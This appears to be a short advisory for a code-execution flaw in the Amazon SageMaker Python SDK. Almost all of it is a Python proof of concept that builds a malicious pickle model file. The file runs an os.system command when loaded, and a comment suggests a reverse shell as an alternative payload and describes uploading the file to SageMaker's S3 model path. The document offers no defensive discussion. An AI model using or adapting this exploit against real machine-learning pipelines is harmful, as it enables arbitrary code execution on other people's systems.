CVE-2026-8597 Amazon SageMaker Python SDK 代码执行漏洞

import pickle import os # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., reverse shell or arbitrary command) return (os.system, ('touch /tmp/pwned && echo "RCE Successful"',)) # Serialize the malicious object malicious_model = pickle.dumps(MaliciousPayload()) # Save the payload to a file (simulating the model artifact) with open('malicious_model.pkl', 'wb') as f: f.write(malicious_model) print("Malicious pickle payload generated.") # An attacker would upload this file to the S3 path used by SageMaker.